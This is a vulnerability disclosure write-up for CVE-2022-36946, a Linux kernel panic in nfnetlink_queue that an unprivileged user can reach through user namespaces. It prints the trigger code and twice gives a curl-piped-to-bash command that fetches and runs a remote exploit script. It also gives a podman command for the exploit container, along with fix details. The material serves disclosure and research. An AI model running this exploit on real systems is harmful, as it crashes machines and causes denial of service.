## https://sploitus.com/exploit?id=B8B06A12-C7E0-50A2-8B97-C96DEC77EEB8
# CVE-2022-36946
Reported-by: Domingo Dirutigliano and Nicola Guerrera
While we were working on [firegex](https://github.com/Pwnzer0tt1/firegex), our application firewall for CTF Attack-Defence competitions, we stumbled upon a few kernel panics.
This strange behavour was than isolated and anlayzed, leading to the dicovery of this potential security flaw in the netfilter module, specifically with nfnetlink.
# How does it work?
The kernel panics when sending nf\_queue verdict with 0-byte nfta\_payload attribute.
```
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
```
This happens because the IP/IPv6 stack pulls the IP(v6) header from the packet after the input hook.
So, if user truncates the packet below the header size, this skb\_pull() will result in a malformed skb resulting in a panic.
Try it executing `curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash` also with an unprivilaged user (more details below).
# Do we *really* need root...?
Using linux namespaces, in particular user namespaces (enabled via `kernel.unprivileged_userns_clone=1`), a normal user is able
to create a network namespace, enabling them to use the same kernel primitives that trigger the panic.
This will allow you to use the vulnerability without having root.
This scenario is not uncommon: for example [podman](https://podman.io/) uses this option to run its (rootless) containers,
and on some distros this option is enabled by default.
You can also try to execute the exploit without root privileges executing:
```bash
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
```
or if you want to test it on-fly (only tar and curl are required to be installed):
```bash
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
```
# Fix up
Fixed in linux kernel 5.19 [view diff](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/netfilter/nfnetlink_queue.c?id=v5.19&id2=v5.18)
Original patch by the linux kernel security team [here](https://marc.info/?l=netfilter-devel&m=165883202007292&w=2)
# Requirements for exploiting this vuln:
- A vulnerable linux kernel
- CAP\_NET\_ADMIN capability (also in a namespace)
# Why panic6?
It worked at the 6th attempt, so we kept the name.
# A new way to poweroff your PC:
# Presentation for DevFest-2023
[https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing](https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing)